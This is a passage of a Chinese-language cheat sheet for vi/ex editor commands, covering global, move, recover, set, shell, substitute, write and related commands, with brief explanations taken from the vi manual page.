    [range] v[lobal] /樣式/ [ex命令]  將不符合條件的樣式加以用ex命令處理
                                      可以設定圍,若沒有圍設定表示全部。
                                      若不加命令只會顯示不符合樣式的內容。
                                      如 :g/BSD/ (顯示沒有BSD的行列)

            he[lp]      顯示求助訊息

       [行數]i[nsert]!  將所輸入的文字內容,插入自訂的行數.原行數順延

       [行數]j[oin]!    將該指定行與下一行合。
       
       [行數]l[ist]     顯示該指定行(圍)。
       
       [圍]m[ove] line  將某圍的內容搬移到某自訂行之後。
                          若將3-5行搬移到第6行之後,指令爲:3,5m6 
       
       mk[exrc][!] file_name  將縮寫、編輯參數及map寫到file_name
       
       [Nn][ext][!] [file ...]  繼續編輯某一檔案。
       
       pre[serve]        以ex -r 能夠恢復的形式儲存檔案。
    
       [Pp]rev[ious][!]  編輯先前的檔案。

       [圍] p[rint]    顯示圍內容

       [行數] pu[t]      將buffer中的內容在特定行貼上。

          q[uit][!]      強制離開

       rec[over] file    回覆先前用pre儲存的檔案,等同於vi -r filename
                         :檔案放在/var/tmp/vi.recover資料夾下

          se[t]          設定環境變數,後接想要設定的變數(值)
          se[t] [all]    顯示全部環境變數

          sh[ell]        跳脫編輯,回到shell下,可執行其他動作。
                         用exit離開shell。

       so[urce] file     從檔案中讀取命令

       [range] s[ubstitute] [/被取代的樣式/取代樣式/]
                         在某圍內將符合的樣式用取代樣式取代。
      
       su[spend][!]      暫停程式進行,回到shell,用fg回覆

           st[op][!]     同su!

           ve[rsion]    顯示vi編輯器的版本。

           vi[sual]     進入vi (ex mode用)

       viu[sage] [command]  顯示vi command的語法,若沒有特別指定,則顯示全部。

       [圍] w[rite][!] [>>] [file_name]  將圍內容附加到檔案file_name。

       [圍] w[rite][!] [file_name]  將圍內容另存新檔file_name。

       [圍] wq[!] [>>] [file_name]  將圍的內容附加到檔案file_name並離開。
       
       x[!]  強制存檔

  ◎參考資料: man vi

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章